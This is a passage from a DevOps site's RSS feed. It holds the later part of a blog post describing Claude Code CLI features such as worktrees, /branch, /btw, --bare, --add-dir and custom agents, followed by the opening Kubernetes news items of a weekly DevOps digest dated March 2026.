          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you&#39;ve ever wanted Claude to work on two different branches at the same time, worktrees make this possible. Each session gets its own isolated copy of the repo.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Start a session in a worktree</span>
claude --worktree
</code></pre><p>Why this matters: you can have Claude refactoring module A while simultaneously building feature B. Neither session interferes with the other.</p>
<p>This pairs well with <code>/batch</code>, which fans out work across dozens of parallel agents. Need to update 50 files? <code>/batch</code> can process them concurrently instead of one at a time.</p>
<h2 id="h2-voice-input-with-voice" class="group relative scroll-mt-24">
        <a href="#h2-voice-input-with-voice" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Voice Input with /voice
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-voice-input-with-voice"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You can dictate to Claude instead of typing. This sounds gimmicky until you try it for longer explanations.</p>
<pre><code class="hljs language-bash">/voice
</code></pre><p>It&#39;s particularly useful for:</p>
<ul>
<li>Explaining complex requirements (&quot;I need a migration that handles both the old and new schema formats, with a rollback path if...&quot;)</li>
<li>Code reviews (&quot;Look at the authentication flow in this PR and tell me if...&quot;)</li>
<li>Brainstorming (&quot;What&#39;s the best way to structure this API given these constraints...&quot;)</li>
</ul>
<p>Typing detailed prompts takes time. Talking is faster for anything longer than a few sentences.</p>
<h2 id="h2-the-chrome-extension-for-frontend-work" class="group relative scroll-mt-24">
        <a href="#h2-the-chrome-extension-for-frontend-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Chrome Extension for Frontend Work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-chrome-extension-for-frontend-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Claude Code has a Chrome extension that lets the AI see what your app looks like in the browser. Instead of describing UI bugs, Claude can verify its own output visually.</p>
<p>This closes the feedback loop for frontend work. Claude makes a change, checks the browser, adjusts if something looks off. You stop being the human screenshot tool.</p>
<h2 id="h2-branch-and-fork-session-for-experiments" class="group relative scroll-mt-24">
        <a href="#h2-branch-and-fork-session-for-experiments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          /branch and --fork-session for Experiments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-branch-and-fork-session-for-experiments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Want to try two different approaches to the same problem? <code>/branch</code> creates a copy of your current session so you can explore a different path without losing your progress.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Fork the current session</span>
/branch

<span class="hljs-comment"># Or fork when starting</span>
claude --fork-session &lt;session-id&gt;
</code></pre><p>This is like git branches but for your AI conversation. Try approach A in one branch, approach B in another, then pick the winner.</p>
<h2 id="h2-btw-for-side-questions" class="group relative scroll-mt-24">
        <a href="#h2-btw-for-side-questions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          /btw for Side Questions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-btw-for-side-questions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>When Claude is working on a long task, you might have an unrelated question. Instead of interrupting the main task, <code>/btw</code> lets you ask a side question.</p>
<pre><code class="hljs language-bash">/btw what<span class="hljs-string">&#x27;s the difference between SIGTERM and SIGKILL?</span>
</code></pre><p>Claude answers your side question and goes right back to what it was doing. No context switching, no lost progress.</p>
<h2 id="h2-bare-for-sdk-speed" class="group relative scroll-mt-24">
        <a href="#h2-bare-for-sdk-speed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          --bare for SDK Speed
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-bare-for-sdk-speed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you&#39;re using Claude Code in scripts or CI pipelines, the <code>--bare</code> flag skips loading plugins and extra features, making startup up to 10x faster.</p>
<pre><code class="hljs language-bash">claude --bare -p <span class="hljs-string">&quot;generate a migration for adding user roles&quot;</span>
</code></pre><p>This matters when you&#39;re calling Claude from automation scripts where every second counts.</p>
<h2 id="h2-add-dir-for-multi-repo-work" class="group relative scroll-mt-24">
        <a href="#h2-add-dir-for-multi-repo-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          --add-dir for Multi-Repo Work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-add-dir-for-multi-repo-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Working across multiple repositories? You can give Claude access to all of them in a single session.</p>
<pre><code class="hljs language-bash">claude --add-dir ~/projects/api --add-dir ~/projects/frontend
</code></pre><p>Now Claude can see your API schema and your frontend code at the same time. No more copying types between repos or explaining your API structure manually.</p>
<h2 id="h2-custom-agents-with-agent" class="group relative scroll-mt-24">
        <a href="#h2-custom-agents-with-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Custom Agents with --agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-custom-agents-with-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You can create custom agent configurations with their own system prompts and tool permissions.</p>
<pre><code class="hljs language-bash">claude --agent reviewer    <span class="hljs-comment"># Uses your custom reviewer agent config</span>
claude --agent deployer    <span class="hljs-comment"># Uses your custom deployer agent config</span>
</code></pre><p>Define these in your <code>.claude/agents/</code> directory. Each agent can have different instructions, different tool access, and different behaviors. A code reviewer agent doesn&#39;t need write access. A deployment agent doesn&#39;t need to browse the web.</p>
<h2 id="h2-what-this-means-for-devops" class="group relative scroll-mt-24">
        <a href="#h2-what-this-means-for-devops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What This Means for DevOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-this-means-for-devops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>These features shift Claude Code from &quot;AI code assistant&quot; to &quot;AI DevOps team member.&quot; The combination of scheduling, hooks, parallel sessions, and multi-repo access means you can automate workflows that previously required custom tooling.</p>
<p>Here&#39;s a realistic DevOps setup:</p>
<ol>
<li><code>/schedule</code> reviews all PRs every morning</li>
<li>Hooks enforce linting and security scanning on every session</li>
<li>Worktrees let you debug production while shipping features</li>
<li><code>--add-dir</code> gives Claude access to your infra and app repos simultaneously</li>
<li><code>/loop</code> monitors your staging environment and alerts you on issues</li>
</ol>
<p>The key insight from Boris&#39;s thread: &quot;There is no one right way to use Claude Code.&quot; The tool is intentionally flexible. Experiment with these features and build the workflow that fits your team.</p>
<h2 id="h2-try-it-out" class="group relative scroll-mt-24">
        <a href="#h2-try-it-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Try It Out
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-try-it-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you haven&#39;t updated Claude Code recently, run:</p>
<pre><code class="hljs language-bash">claude update
</code></pre><p>Many of these features are recent additions. The mobile app, scheduling, and hooks in particular have been added in the last few months.</p>
<p>For more DevOps tools and guides, check out our <a href="/exercises">exercises</a> and <a href="/quizzes">quizzes</a> to sharpen your skills.</p>
<p><em>This post was inspired by <a href="https://x.com/bcherny/status/2038454336355999749">Boris Cherny&#39;s thread on X</a>. Boris is the creator of Claude Code at Anthropic.</em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 14, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-14</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-14</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-tekton-kubernetes-native-cicd-project-reaches-cncf-incubation" class="group relative scroll-mt-24">
        <a href="#h3-tekton-kubernetes-native-cicd-project-reaches-cncf-incubation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Tekton Kubernetes-Native CI/CD Project Reaches CNCF Incubation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tekton-kubernetes-native-cicd-project-reaches-cncf-incubation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The CNCF TOC has voted to accept Tekton as an incubating project. As a Kubernetes-native framework for CI/CD, Tekton enables developers to build, test, and deploy across clouds by treating pipelines a</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/tekton-cncf-incubation-kubernetes-cicd/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-platform-teams-are-eliminating-a-43800-hidden-tax-on-kubernetes-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-how-platform-teams-are-eliminating-a-43800-hidden-tax-on-kubernetes-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How platform teams are eliminating a $43,800 “hidden tax” on Kubernetes infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-platform-teams-are-eliminating-a-43800-hidden-tax-on-kubernetes-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The ability to provision a Kubernetes cluster on demand, with full API access, custom RBAC, and isolated resource namespaces, defines The post How platform teams are eliminating a $43,800 “hidden tax”</p>
<p><strong>📅 Mar 28, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/virtual-clusters-kubernetes-cost-isolation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-closing-the-gap-bringing-ai-and-kubernetes-to-the-source-of-the-data" class="group relative scroll-mt-24">
        <a href="#h3-closing-the-gap-bringing-ai-and-kubernetes-to-the-source-of-the-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Closing the gap: Bringing AI and Kubernetes to the source of the data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-closing-the-gap-bringing-ai-and-kubernetes-to-the-source-of-the-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Moving to the edge isn&#39;t just a trend; it’s a response to the need for faster results. By processing data right where it’s created, organizations are finding they can finally unlock real-time decision</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/closing-gap-bringing-ai-and-kubernetes-source-data"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-march-27-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-march-27-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — March 27, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-march-27-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat news and announcements from KubeCon + CloudNativeConSee the latest Red Hat news and content from KubeCon + CloudNativeCon Europe in Amsterdam, including updates on OpenShift 4.21, cloud-native</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-march-27-2026-red-hat"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-one-line-kubernetes-fix-that-saved-600-hours-a-year" class="group relative scroll-mt-24">
        <a href="#h3-a-one-line-kubernetes-fix-that-saved-600-hours-a-year" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A one-line Kubernetes fix that saved 600 hours a year
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-one-line-kubernetes-fix-that-saved-600-hours-a-year"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When we investigated why our Atlantis instance took 30 minutes to restart, we discovered a bottleneck in how Kubernetes handles volume permissions. By adjusting the fsGroupChangePolicy, we reduced res</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/one-line-kubernetes-fix-saved-600-hours-a-year/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-platform-under-the-model-how-cloud-native-powers-ai-engineering-in-production" class="group relative scroll-mt-24">
        <a href="#h3-the-platform-under-the-model-how-cloud-native-powers-ai-engineering-in-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The platform under the model: How cloud native powers AI engineering in production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-platform-under-the-model-how-cloud-native-powers-ai-engineering-in-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI workloads are increasingly running on Kubernetes in production, but for many teams, the path from a working model to a reliable system remains unclear. The cloud native ecosystem – its projects, pa</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/26/the-platform-under-the-model-how-cloud-native-powers-ai-engineering-in-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-kubescape-40-enterprise-stability-meets-the-ai-era" class="group relative scroll-mt-24">
        <a href="#h3-announcing-kubescape-40-enterprise-stability-meets-the-ai-era" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing Kubescape 4.0 Enterprise Stability Meets the AI Era
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-kubescape-40-enterprise-stability-meets-the-ai-era"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are happy to announce the release of Kubescape 4.0, a milestone bringing enterprise-grade stability and advanced threat detection to open source Kubernetes security. This version focuses on making </p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/26/announcing-kubescape-4-0-enterprise-stability-meets-the-ai-era/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ibm-cloudability-advanced-containers-for-kubernetes-finops" class="group relative scroll-mt-24">
        <a href="#h3-ibm-cloudability-advanced-containers-for-kubernetes-finops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 IBM Cloudability Advanced Containers for Kubernetes FinOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ibm-cloudability-advanced-containers-for-kubernetes-finops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloud promised infinite scale. It delivered, along with cloud bills that grew just as quickly. In response, organizations turned to FinOps. What started as a way to manage cloud spend has evolved into</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/ibm-cloudability-advanced-containers-for-kubernetes-finops/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-streamline-your-work-with-the-new-learning-drawer-in-the-migration-toolkit-for-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-streamline-your-work-with-the-new-learning-drawer-in-the-migration-toolkit-for-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Streamline your work with the new learning drawer in the migration toolkit for virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-streamline-your-work-with-the-new-learning-drawer-in-the-migration-toolkit-for-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With the migration toolkit for virtualization 2.11 (MTV) release, users gain an improved learning experience.A new “Tips and tricks” drawer was introduced as part of the 2.10 release and further impro</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/streamline-your-work-new-learning-drawer-migration-toolkit-virtualization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-session-policies-for-amazon-eks-pod-identity" class="group relative scroll-mt-24">
        <a href="#h3-session-policies-for-amazon-eks-pod-identity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Session policies for Amazon EKS Pod Identity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-session-policies-for-amazon-eks-pod-identity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we demonstrate how to use session policies to dynamically scope down IAM permissions for your Kubernetes pods without creating additional IAM roles, and discuss important considerations </p>
<p><strong>📅 Mar 24, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
